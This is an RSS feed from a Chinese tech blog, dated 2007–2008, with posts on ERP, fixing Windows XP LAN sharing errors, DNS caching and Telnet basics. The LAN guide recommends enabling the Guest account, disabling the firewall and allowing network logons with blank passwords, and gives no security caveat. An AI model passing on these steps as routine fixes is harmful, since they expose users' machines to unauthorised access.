﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-semovy-文章分类-其它</title><link>http://www.blogjava.net/WshmAndLily/category/10973.html</link><description /><language>zh-cn</language><lastBuildDate>Sun, 27 Apr 2008 04:30:12 GMT</lastBuildDate><pubDate>Sun, 27 Apr 2008 04:30:12 GMT</pubDate><ttl>60</ttl><item><title>什么是ERP</title><link>http://www.blogjava.net/WshmAndLily/articles/195642.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Thu, 24 Apr 2008 09:00:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/195642.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/195642.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/195642.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/195642.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/195642.html</trackback:ping><description><![CDATA[<div><font size="2">ERP介绍<br />
ERP（企业资源管理计划）——Enterprise Resources Plannig，是在先进的企业管理思想的基础上，应用信息技术实现对整个企业资源的一体化管理。ERP是一种可以提供跨地区、跨部门、甚至跨公司整合实时信息的企业管理信息系统。它在企业资源最优化配置的前提下，整合企业内部主要或所有的经营活动，包括财务会计、管理会计、生产计划及管理、物料管理、销售与分销等主要功能模块，以达到效率化经营的目标。<br />
ERP自90年代后期从美国传入，为我国的企业体制改革注入的新的活力，ERP已成为大型现代企业管理中不可或缺的有力管理工具，是企业现代化和信息化程度的重要标志。ERP项目是一个企业管理系统工程，而不是一般意义上的企业管理信息系统工程或者是企业信息化建设工程，这是因为整个管理系统不但基于ERP、系统工程和信息技术等现代科学技术的思想、原理和方法，而且还从本质上充分地体现了企业应用ERP与开展企业管理创新、推进企业管理现代化和提高企业竞争力的必然关系。<br />
1、销售：销售部门接客户采购计划，根据客户要求，查看是否有库存，有——即给客户发货；无——即下生产任务给生产部门，要求安排生产；待成品机器完工后，即可给客户发货。<br />
2、生产：生产部门接销售部任务，向生产车间下达生产任务，可依据库存，向采购部门请购有关零部件。完工后，入库供销售部发货。<br />
3、采购：采购部门依据所接请购任务和库存情况，向材料供应商采购料品。<br />
4、库存：仓库根据零部件的安全库存量向采购部门请购零部件。依据生产车间的生产领料单给车间发料。<br />
5、财务：进行成本计算。</font></div>
<div><font size="2">经常有学生问我什么是ERP,简单地讲ERP就是企业资源计划系统.ERP是由美国著名的计算机技术咨询和评估集团Garter Group 公司提出的一整套企业管理系统体系标准，是指建立在信息技术基础上，以提高企业资源效能为系统思想，为企业提供业务集成运行中的资源管理方案。<br />
什么是ERP,ERP的科学定义是:ERP ─Enterprise Resource Planning 企业资源计划系统,是指建立在信息技术基础上,以系统化的管理思想,为企业决策层及员工提供决策运行手段的管理平台。<br />
ERP 不仅仅是一个软件,更重要的是一个管理思想,它实现了企业内部资源和企业相关的外<br />
部资源的整合。通过软件把企业的人、财、物、产、供、销及相应的物流、信息流、资金流、管理流、增值流等紧密地集成起来,实现资源优化和共享,这就是ERP。<br />
了解什么是erp后,我们再年看看中国企业ERP的历史在中国,企业信息化和ERP 应用已经风风雨雨渡过了二十多年,从1981 年沈阳第一机床厂从德国工程师协会引进了第一套MRP Ⅱ软件的时候,没有几个人知道什么是erp.两十几年来,ERP 在中国的应用与推广经历了从起步、索到逐渐成熟的风雨历程。早在1986 以前,绝大多数的中国企业都不知道什么是ERP ,大约在1985 年到1990 年的时候,许多管理专家、学者包括中国的企业家就开始研究国际上先进的管理模式是什么样的,应该如何来帮助中国企业提高管理竞争力,这期间诞生了一些ERP 应用的试点企业。到了90 年代,全球许多著名的ERP 厂商纷纷涌进中国市场,有更多<br />
的企业试用或购买了ERP 产品。但令我们失望的是,ERP 在中国企业的成功率并不是很高,这样的结果对中国企业打击很大,以致到现在还有很多的企业心有余悸,不敢上马ERP 应用。</font>
<p><font size="2">伴随着WTO 的加入以及企业信息化的飞速进展，ERP 在中国也进入广泛普及阶段，越来越多的人知道了什么是erp.erp应用更加务实、业务范围更加广泛、涉及的业务深度逐渐加强的ERP 正为广大的中国企业所期盼。<br />
然而，目前国内的ERP 应用并不尽如人意，就整体而言，我国在应用ERP 上呈现出不平衡的发展趋势。各个企业差距较大，能够真正成功地全面实施ERP 管理系统的企业并不是很多。其原因在于：一、ERP业界对广大中国企业缺乏深入的理解，同时ERP成熟标准在我国缺乏深入实践，从而导致企业ERP 选型错乱，实施风险失控。二、一些软件厂商肆无忌惮地吹捧自己的产品，使得ERP 市场鱼目混珠，更直接导致了客户对ERP 产品的怀疑。<br />
一、落后的企业管理水平将严重制约ERP 的运用<br />
ERP 的发展是管理思想和计算机技术的结合体，从ERP 的产生历程来看，ERP 的成熟完全符合理论、实践、再理论到实践的过程。在20 多年的发展中，经过不断的实践管理理论的应用和创新，其系统内涵和基本模型已经十分清晰。而ERP的成熟不能只看这个软件本身的管理思想是多么的流行，更主要的是看ERP本身蕴涵的管理理论是不是在实际中已经得到了运用，在发达国家的成功运用证明了其思想是成功的。<br />
在我国，企业管理水平长期落后于信息化要求。很多企业存在基础数据不全，信息失真的问题。同时，大量企业尚未建立现代企业制度，企业内部对利用信息技术进行管理创新的动力不足，采用信息技术处于被动状态，普遍存在着信息管理机构不健全，信息管理制度不完善，执行力度不到位，现场管理不严格、不规范，信息设备利用率低等问题。这些问题的存在，将严重制约ERP 在我国的运用。<br />
二、企业纵向管理的不成熟将严重影响ERP 的运用<br />
ERP的运用为企业提高管理水平提供了更为广阔的空间。ERP应用具有范围扩展性，并逐渐形成针对行业的解决方案，来满足不同行业业务的特殊需求。而这一切成为现实的前提是，管理视角和管理高度的全面集成。尤其是，ERP 中财务系统应能实时收到来自所有业务过程、分析系统和交叉功能子系统的触发信息，并执行监控功能，敏捷做出快速决策。只有这样，才能使ERP 能更加综合的为企业运行进行支持和诊断。本文章什么是erp严禁抄袭.而我国企业目前在销售、采购、生产、财务等各环节严重脱节，是很常见的现象，尤其是成长较快的企业，脱节更为严重。如采购和生产之间的不协调经常造成停工待料；有时财务和销售环节的衔接不良，造成应收账款不能收清等现象。造成这种情况的原因在于，企业缺乏整体考虑，尤其体现在不能集成&#8220;三流&#8221;（资金流、物流、信息流），进而造成计划与控制不能统一，各部门业务不能协调等。这是ERP 在我国发展面临的第二个考验。<br />
三、ERP 软件生存周期的缺陷将严重制约ERP 的运用<br />
ERP 是综合应用了C/S 或者B/S 体系、关系数据库结构、面向对象技术、图形用户界面、第四代语言（4GL）、网络通讯等信息产业成果，以现代管理思想为灵魂的软件产品。ERP 成熟的产品应该具备实现数据完全按逻辑集成、提供业务流程模型、具有开发接口、可实现<br />
客户化配置等功能。技术和应用的完美结合应该是ERP成熟的一个表现，但是，我国ERP 软件目前存在的以下三个方面的问题将严重影响ERP 软件的生存周期，进而制约ERP 的运用。</font></p>
</div>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/195642.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2008-04-24 17:00 <a href="http://www.blogjava.net/WshmAndLily/articles/195642.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>找不到网络路径</title><link>http://www.blogjava.net/WshmAndLily/articles/177041.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Tue, 22 Jan 2008 06:47:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/177041.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/177041.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/177041.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/177041.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/177041.html</trackback:ping><description><![CDATA[在局域网内 XP不能和 98的电脑互相访，2K和2K、XP与XP也不能互相通信。在工作站访问服务器时，工作站的&#8220;网上邻居&#8221;中可以看到服务器的名称，但是点击后却无法看到任何共享内容,或者提示找不到网络路径、无权访问等问题，归纳为以下几点： <br />
<br />
如果是XP的话，在首次使用的时候要在网上邻居的属性里面进行网络安装向导。 <br />
<br />
1、检查计算机之间的物理连接。 <br />
<br />
网卡是否安装正确，在系统中是否存在资源冲突。交换机或者集线器等网络设备是否正常工作。网线是否都是通的，接法是不是正确（如果有中心节点的局域网，网线要用直通线，两头都是用568B的接法；双机通过网卡直接互联，网线应该用交叉线，一头为568A,一头为568B；没有UP－link端口的集线器级联要用交叉线，交换机和集线器级联，交换机和交换机级联都用直通线。568A接法：绿白、绿、橙白、蓝、蓝白、橙、棕白、棕；568B接法：橙白、橙、绿白、蓝、蓝白、绿、棕白、棕）。 <br />
<br />
2、确保所有计算机上都安装了TCP/IP协议，并且工作正常。 <br />
<br />
检测 TCP/IP协议是否正常工作，可以PING 127.0.0.1，如果ping通，证明正常。 <br />
在98和2k中添加删除协议是很简单，这里就不介绍了。但是该协议是Microsoft XP/ 2003的核心组件，是不能删除（不信你可以到XP里，卸载的按钮是灰色不可用的）。但是我们可以使用NetShell实用程序使TCP/IP协议恢复到初次安装操作系统时的状态。 <br />
在命令提示符里运行该命令： <br />
netsh int ip reset c:\resetlog.txt， <br />
其中，Resetlog.txt记录命令结果的日志文件，一定要指定，这里指定了Resetlog.txt日志文件及完整路径。运行此命令的结果与删除并重新安装TCP/IP协议的效果相同。 <br />
<br />
3、使用ping命令测试网络中两台计算机之间的连接和网络中名称解析是否正常 <br />
<br />
ping对方IP是很简单的，这里不多说了，不明白的自己上网搜资料去。ping名称格式ping 计算机的名称。通过ping命令用名称测试计算机连接，确定计算机的名称的方法是：在命令提示符处，输入SYSTEMINFO。或者在桌面上右击我的电脑-属性，然后单击计算机名称。如果看到该命令的成功答复，说明您在计算机之间具有基本连接和名称解析。 <br />
<br />
4、正确设置网络： <br />
<br />
IP地址是否在同一个子网内。在TCP/IP协议上是否捆绑NETBIOS解析计算机名（在TCP/IP协议属性——高级——WINS——选择启用TCP/IP上的NETBIOS）。 <br />
查看是否选定&#8220;文件和打印服务&#8221;组件，所有计算机也都必须启用&#8220;文件和打印共享&#8221;。在网上邻居和本地连接属性里可以看到是否安装了打印机与文件共享。如果在网上邻居中看不到自己的机器，说明你没有安装打印机与文件共享。 <br />
<br />
5、启动"计算机浏览器"服务 <br />
<br />
WIN2K/XP要确保计算机浏览服务正常启动。打开计算机管理-&gt;服务和应用程序-&gt;服务，查看&#8220;Computer Browser&#8221;没有被停止或禁用。 <br />
<br />
6、运行网络标识向导，将你的计算机加入局域网 <br />
<br />
控制面板——系统——计算机名，单击&#8220;网络 ID&#8221;，开始&#8220;网络标识向导&#8221;下一步之后，选择第一项&#8220;本机是商业网络的一部分，用它连接到其他工作着的计算机&#8221;；继续&#8220;下一步&#8221;，选择&#8220;公司使用没有域的网络&#8221;；再下一步，就输入你的局域网的工作组的名称。完成之后，重新启动计算机！ <br />
<br />
7、Win2k和XP安装NetBEUI协议 <br />
<br />
在Win2k和XP中NetBEUI协议是一个高效协议在局域网中使，因此最好能安装此协议 <br />
2K中的安装：网上邻居-&gt;属性-&gt;本地连接-&gt;属性----&gt;安装------&gt;协议-------&gt;NetBEUI Protocol <br />
NetBEUI 通讯协议已不是 Windows XP 的一部份 ，但仍然将它保存在 Windows XP 的光盘内， 安装办法如下： <br />
将 Windows XP 的光盘放入光驱内，并开启 \\VALUEADD\\MSFT\\NET\\NETBEUI 目录； <br />
复制 nbf.sys 到 %SYSTEMROOT%\\SYSTEM32\\DRIVERS\\ 目录 <br />
复制 netnbf.inf 到 %SYSTEMROOT%\\INF\\ 目录 <br />
网上邻居——属性——本地连接——属性——安装——协议—— 选NetBEUI Protocol——添加，便进行安装 重新启动电脑生效 <br />
<br />
8、启用Guest(来宾)帐户 <br />
<br />
XP和2k的Guest帐户允许其他人使用你的电脑，但不允许他们访问特定的文件，也不允许他们安装软件。可以使用下面的命令授予来宾帐户网络访问： <br />
net user guest /active:yes <br />
或者打开控制面板-&gt;用户帐户或者在管理工具-&gt;计算机管理-&gt;本地用户和组中打开Guest帐户 <br />
<br />
9、查看本地安全策略设置是否允许Guest(来宾)帐号从网络上访问。 <br />
<br />
在运行里输入gpedit.msc，弹出组策略管理器，在&#8216;计算机配置-Windows设置-本地策略-用户权利指派&#8217;中，有&#8220;拒绝从网络访问这台计算机&#8221;策略阻止从网络访问这台计算机，如果其中有GUEST帐号,解决办法是删除拒绝访问中的GUEST帐号。或者在&#8220;从网络上访问该计算机&#8221;添加帐号 <br />
<br />
10、正确设置防火墙： <br />
<br />
确保WINXP自带的防火墙没有开启，打开本地连接属性-&gt;高级，关掉Internet连接防火墙。如果使用了第三方的防火墙产品，参考其使用手册，确保防火墙没有禁用以下端口：UDP-137、UDP-138、TCP-139、TCP-445。 <br />
<br />
11、检查RPC、Plug and Play服务已启动，检查相应的系统文件夹的权限，重新注册以下的动态链接库： <br />
regsvr32 netshell.dll <br />
regsvr32 netcfgx.dll <br />
regsvr32 netman.dll <br />
<br />
12、设置帐号和密码 <br />
<br />
由于WinNT内核的操作系统，在访问远程计算机的时候，好像总是首先尝试用本地的当前用户名和密码来尝试，可能造成无法访问，可以在要访问的计算机中把用户密码添加进去，并在&#8216;计算机配置-Windows设置-本地策略-用户权利指派&#8217;中，在&#8220;从网络上访问该计算机&#8221;中添加用户就可以了。 <br />
<br />
13、尝试用多种方法访问&#8220;网络计算机&#8221; <br />
<br />
通过IP访问，在地址栏上输入在地址输入栏中输入&#8220;\\IP地址\&#8221;，单击&#8220;确定&#8221;。 通过计算机用计算机名访问，在地址栏输入&#8220;\\计算机名字\&#8221;，单击&#8220;确定&#8221;。 <br />
用搜索计算机的方法访问，计算机更新列表需要时间，搜索计算机可以加快更新列表。点击&#8220;网上邻居&#8221;右键中的&#8220;搜索计算机&#8221;，输入计算机名，点击&#8220;立即搜索&#8221;，就可以看到你要访问的计算机。直接双击右边计算机名就可以打开它了。 <br />
用映射驱动器的方法访问，进入命令提示符，输入&#8220;NET VIEW \计算机名&#8221;，回车&shy;这是查看对方计算机上有哪些共享文件夹，如E。再输入NET USE Z:\计算机名字\E&shy;将对方计算机共享的文件夹E映射为H：盘，在命令提示符下键入&#8220;H:&#8221;。你会发现你已经连到计算机上了。 <br />
<br />
14、改变网络访问模式： <br />
<br />
打开组策略编辑器，依次选择&#8220;计算机配置&#8594;Windows设置&#8594;安全设置&#8594;本地策略&#8594;安全选项&#8221;，双击&#8220;网络访问：本地账号的共享和安全模式&#8221;策略，将默认设置&#8220;仅来宾—本地用户以来宾身份验证&#8221;，更改为&#8220;经典：本地用户以自己的身份验证&#8221;。 <br />
现在，当其他用户通过网络访问使用Windows XP的计算机时，就可以用自己的&#8220;身份&#8221;进行登录了（前提是Windows XP中已有这个账号并且口令是正确的）。 <br />
当该策略改变后，文件的共享方式也有所变化，在启用&#8220;经典：本地用户以自己的身份验证&#8221;方式后，我们可以对同时访问共享文件的用户数量进行限制，并能针对不同用户设置不同的访问权限。 <br />
但是用户的口令为空时，访问还是会被拒绝。这是应为在&#8220;安全选项&#8221;中有一个&#8220;账户：使用空白密码的本地账户只允许进行控制台登录&#8221;策略默认是启用的，根据Windows XP安全策略中拒绝优先的原则，密码为空的用户通过网络访问使用Windows XP的计算机时便会被禁止。我们只要将这个策略停用即可解决问题。 <br />
<br />
<br />
附录一：关于IPX/SPX协议 <br />
IPX/SPX协议本来就是Novell开发的专用于NetWare网络中的协议。但为什么要在windows LAN内有它的身影呢？？除了为了支持路由到NetWare网络之外，另外就是因为大部分可以联机的游戏都支持IPX/SPX协议，比如以前的红色警戒、罗马帝国、还有现在的星际争霸，反恐精英等等。虽然这些游戏通过TCP/IP协议也能联机，但是通过IPX/SPX协议更省事，因为根本不需要任何设置就可以正常联机了！ <br />
除此之外，IPX/SPX协议在局域网络中就没有别的用途了，如果确定不在局域网中联机玩游戏或者要通过路由器路由到NetWare网络，那么这个协议是不必要的。 <br />
<br />
附录二：TCP/IP协议和NETbios、NETBUEI协议简单介绍： <br />
网络协议有上千种之多，遍及OSI通信模型的七个层次，从我们非常熟悉的TCP/IP、HTTP、FTP协议，到NetBEUI（NETBIOS）、 IPX/SPX OSPF、IGP等协议！对于普通用户而言，是不需要关心太多的底层通信协议的，因为在实际中，底层通信协议一般会自动工作，不需要特别的设置。但是对于第三层以上的协议，就不同了！例如TCP/IP协议一般就需要设置才能正常工作。 <br />
TCP/IP作为互联网的基础协议（在局域网上当然也能畅通无阻的），没有它就根本不可能上网，任何和互联网有关的工作都离不开TCP/IP协议。不过TCP/IP协议也是这三大协议中配置起来最麻烦的一个，单机上网还好，通过局域网访问互联网的话，就要详细设置IP地址，网关，子网掩码，DNS服务器了（要不你就在服务器上大展拳脚，设置DHCP咯！不过一样麻烦）。 <br />
虽然TCP/IP照样适用于局域网，但在局域网中的它的通信效率的稳定性都不高，所以有些朋友使用它在浏览&#8220;网上邻居&#8221;中的计算机时，会出现不能正常浏览的现象。所以就要安装NetBEUI协议了。 <br />
这里先和大家介绍一下NetBEUI和NETBIOS的区别，其实NetBEUI（NetBios Enhanced User Interface） 英文直译就是NetBios增强用户接口。是NetBIOS协议的增强版本。 <br />
而NetBIOS协议（NetWork Basic Input/Output System）直译为网络基本输入/输出系统，是由IT的大佬IBM公司开发的局域网基础的协议！ <br />
如果是老玩家的话就知道了，用windows98以前的操作系统上internet的时候，往往要自己添加TCP/IP协议，这是因为windows98之前的操作系统的缺省协议是NetBEUI而不是TCP/IP。呵呵，是不是和现在倒过来呢？可见internet发展的迅速啊！ <br />
NetBEUI协议是一种短小精悍、通信效率高的广播型协议，它不需要进行任何设置，特别适合于在&#8220;网络邻居&#8221;传送数据。可以说它是专为小型局域网设计的网络协议，对那些无需跨经路由器与大型主机通信和连接internet的小型局域网,往往安装NetBEUI协议就绰绰有余了。
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/177041.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2008-01-22 14:47 <a href="http://www.blogjava.net/WshmAndLily/articles/177041.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>自定屏保win快捷键</title><link>http://www.blogjava.net/WshmAndLily/articles/151797.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Wed, 10 Oct 2007 08:41:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/151797.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/151797.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/151797.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/151797.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/151797.html</trackback:ping><description><![CDATA[在桌面上单击鼠标右键，在随后出现的快捷菜单上选择&#8220;新建快捷方式&#8221;，接着系统便会启动创建快捷方式向导，在文本框中输 &#8220;rundll32.exe user32.dll,LockWorkStation&#8221;，点击&#8220;下一步&#8221;，在弹出的窗口中输入快捷方式的名称，点击&#8220;完成&#8221;即可。这样桌面上就出现一个rundll32的快捷方式图标，双击它就可以锁定计算机。<br />
这时再使用WinKey +L快捷键也可以锁定计算机了。
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/151797.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-10-10 16:41 <a href="http://www.blogjava.net/WshmAndLily/articles/151797.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DNS</title><link>http://www.blogjava.net/WshmAndLily/articles/150683.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Sat, 06 Oct 2007 03:55:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/150683.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/150683.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/150683.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/150683.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/150683.html</trackback:ping><description><![CDATA[DNS，DomainNameSystem或者DomainNameService（域名系统或者余名服务）。域名系统为Internet上的主机分配域名地址和IP地址。用户使用域名地址，该系统就会自动把域名地址转为IP地址。域名服务是运行域名系统的Internet工具。执行域名服务的服务器称之为DNS服务器，通过DNS服务器来应答域名服务的查询。 <br />
1、DNS就是域名服务器，他的任务就是确定域名的解析，比如A记录MX记录等等。 <br />
2、任何域名都至少有一个DNS，一般是2个。但为什么要2个以上呢？因为DNS可以轮回处理，第一个解析失败可以找第二个。这样只要有一个DNS解析正常，就不会影响域名的正常使用。 <br />
3、如何确定域名的DNS <br />
很简单，到<a href="http://www.internic.net/whois.html" target="_blank">www.internic.net/whois.html</a>输入你要查询的域名就可以看到了。这个是国际域名管理中心。唯一的权威。只要这里能查到某个域名，就表示域名是生效的。它说你什么时候到期，就是什么时候到期。 <br />
4、有效的DNS表示当前正在起作用的DNS服务器是谁，比如查询结果是NS.XINNETDNS.COM、NS.XINNET.CN(新网信海)就表示当前域名是由NS.XINNETDNS.COM、NS.XINNET.CN(新网信海)负责解析。其他DNS的设置，都是无效的。 <br />
5、DNS是可以修改的。修改以后需要24-72小时以后，全世界才能刷新过来。internic的信息一般在24小时以后可以看到。另外，修改的过程，并不表示域名会停止解析，只要你在2边都做好了解析。如果生效了就是新的DNS在起作用。如果没生效。就是旧的DNS在起作用。要么生效，要么不生效。不存在2个都不起作用的时间。所6、DNS是有缓存的。 <br />
1)访问者的电脑；2)你的ISP接入商。 <br />
简单举例:比如你访问<a href="http://www.askbaidu.com/" target="_blank">www.askbaidu.com</a>，你的电脑首先查询本机上有没有缓存<a href="http://www.askbaidu.com/" target="_blank">www.askbaidu.com</a>的记录。如果有就直接调用不再去查寻。就是说如果你前面刚访问过<a href="http://www.askbaidu.com/" target="_blank">www.askbaidu.com</a>，这个时候就算电信的DNS和NS.XINNETDNS.COM、NS.XINNET.CN(新网信海)都不能解析。也是能够正常解析出域名的。 <br />
清除本机DNS缓存方法很简单。关闭IE然后清除历史记录，或者重启电脑。然后还有一个就是isp接入商的DNS的缓存。isp就是当地网络接入商。比如我们这里的福建电信;福州网通、南平铁通等等。每个地方都是不一样的。isp的DNS和NS.XINNETDNS.COM、NS.XINNET.CN(新网信海)这样的DNS是不同的。NS.XINNETDNS.COM、NS.XINNET.CN(新网信海)只负责具体的解析，不负责缓存。isp的DNS只负责查询和缓存，不负责解析。 <br />
简单描述下刚才访问<a href="http://www.askbaidu.com/" target="_blank">www.askbaidu.com</a>的情况。如果本机上不存在<a href="http://www.askbaidu.com/" target="_blank">www.askbaidu.com</a>的记录。你的电脑就会去查询当地ISP的DNS。isp的DNS只有缓存。就是说他会检查有没有<a href="http://www.askbaidu.com/" target="_blank">www.askbaidu.com</a>的缓存。如果有，他就直接把<a href="http://www.askbaidu.com/" target="_blank">www.askbaidu.com</a>的记录发送给用户。用户也就能访问了。如果ISP的缓存里面也没有<a href="http://www.askbaidu.com/" target="_blank">www.askbaidu.com</a>的记录，那么他进一步去查询askbaidu.com的DNS是什么?然后再到对应的DNS上直接去取得数据，并返回给用户。当第一个用户访问了<a href="http://www.askbaidu.com/" target="_blank">www.askbaidu.com</a>以后，isp的dns上也就开始缓存了<a href="http://www.askbaidu.com/" target="_blank">www.askbaidu.com</a>的记录。以后他就不必再去NS.XINNETDNS.COM、NS.XINNET.CN(新网信海)去找了。除非有新的域名，他才会去查。比如访问bbs.askbaidu.com的时候，他就要重新去查了。 <br />
7、isp的DNS缓存是有时间限制的。一般是1个小时。前后2次间隔1个小时的话，他就去域名的DNS上重新取得数据。这里说的是最前面一次和当前的比较。也就是说如果时间差距较大，就重新去域名的DNS服务器上找。所以刷新就变的很有必要，否则缓存了一次以后。域名记录改了以后。ISP就永远不去找新的记录了。知道了这个原理以后，大家就会明白，为什么原来没有的记录注册并生效会很快。修改的话生效会很慢。就是因为缓存的原因。但如果没有缓存，访问的效率会很低，因为任何一次输入<a href="http://www.askbaidu.com/" target="_blank">www.askbaidu.com</a>都得跑到NS.XINNETDNS.COM、NS.XINNET.CN(新网信海)去查询记录。 <br />
备注：很多域名商的域名解析系统也不是实时刷新的。一般会设置下时间，比如10分钟.就是说，你设置了一个新的A记录以后，域名服务器会在10分钟内为你添加。目的就是为了节约服务器资源。怕客户的DNS不断的刷新记录。刷新记录肯定需要消耗一定的资源。而且刷新过程中是不能解析的。另外刷新过程大概5秒。就是说这个5秒内域名商的的DNS是不能用的。</ca>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/150683.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-10-06 11:55 <a href="http://www.blogjava.net/WshmAndLily/articles/150683.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Telnet</title><link>http://www.blogjava.net/WshmAndLily/articles/150677.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Sat, 06 Oct 2007 03:46:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/150677.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/150677.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/150677.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/150677.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/150677.html</trackback:ping><description><![CDATA[Telnet是传输控制协议／因特网协议（TCP／IP）网络（例如Internet）的登录和仿真程序。它最初是由ARPANET开发的，但是现在它主要用于Internet会话。它的基本功能是，允许用户登录进入远程主机系统。以前，Telnet是一个将所有用户输入送到远方主机进行处理的简单的终端程序。它的一些较新的版本在本地执行更多的处理，于是可以提供更好的响应，并且减少了通过链路发送到远程主机的信息数量。 <br />
<br />
一 摘要<br />
<br />
Telnet的应用不仅方便了我们进行远程登录，也给hacker们提供了又一种入侵手段和后门，但无论如何，在你尽情享受Telnet所带给你的便捷的同时，你是否真正的了解Telnet呢？<br />
<br />
<br />
二 远程登录<br />
<br />
<br />
Telnet服务虽然也属于客户机/服务器模型的服务，但它更大的意义在于实现了基于Telnet协议的远程登录（远程交互式计算），那么就让我们来认识一下远程登录。<br />
<br />
<br />
1 远程登陆的基本概念<br />
<br />
<br />
先来看看什么叫登录：分时系统允许多个用户同时使用一台计算机，为了保证系统的安全和记账方便，系统要求每个用户有单独的帐号作为登录标识，系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令，这个过程被称为'登录'。<br />
<br />
远程登陆是指用户使用Telnet命令，使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器，它只负责把用户输入的每个字符传递给主机，再将主机输出的每个信息回显在屏幕上。<br />
<br />
<br />
2 远程登陆的产生及发展<br />
<br />
<br />
我们可以先构想一个提供远程文字编辑的服务，这个服务的实现需要一个接受编辑文件请求和数据的服务器以及一个发送此请求的客户机。客户机将建立一个从本地机到服务器的TCP连接，当然这需要服务器的应答，然后向服务器发送键入的信息（文件编辑信息），并读取从服务器返回的输出。以上便是一个标准而普通的客户机/服务器模型的服务。<br />
<br />
似乎有了客户机/服务器模型的服务，一切远程问题都可以解决了。然而实际并非你想象的那样简单，如果我们仅需要远程编辑文件，那么刚才所构想的服务完全可以胜任，但假如我们的要求并不是这么简单，我们还想实现远程用户管理，远程数据录入，远程系统维护，想实现一切可以在远程主机上实现的操作，那么我们将需要大量专用的服务器程序并为每一个可计算服务都使用一个服务器进程，随之而来的问题是：远程机器会很快对服务器进程应接不暇，并淹没在进程的海洋里（我们在这里排除最专业化的远程机器）。<br />
<br />
那么有没有办法解决呢？当然有，我们可以用远程登录来解决这一切。我们允许用户在远地机器上建立一个登录会话，然后通过执行命令来实现更一般的服务，就像在本地操作一样。这样，我们便可以访问远地系统上所有可用的命令，并且系统设计员不需提供多个专用地服务器程序。<br />
<br />
问题发展到这里好像前途一片光明了，用远程登录总应该解决问题了吧，但要实现远程登陆并不简单。不考虑网络设计的计算机系统期望用户只从直接相连的键盘和显示器上登录，在这种机器上增加远程登陆功能需要修改机器的操作系统，这是极其艰巨也是我们尽量避免的。因此我们应该集中力量构造远程登陆服务器软件，虽然这样也是比较困难的。为什么说这样做也比较困难呢？<br />
<br />
举个例子来说：一般，操作系统会为一些特殊按键分配特殊的含义，比如本地系统将'Ctrl+C'解释为：'终止当前运行的命令进程'。但假设我们已经运行了远程登陆服务器软件，'Ctrl+C'也有可能无法被传送到远地机器，如果客户机真的将'Ctrl+C'传到了远地机器，那么'Ctrl+C'这个命令有可能不能终止本地的进程，也就是说在这里很可能会产生混乱。而且这仅仅是遇到的难题之一。<br />
<br />
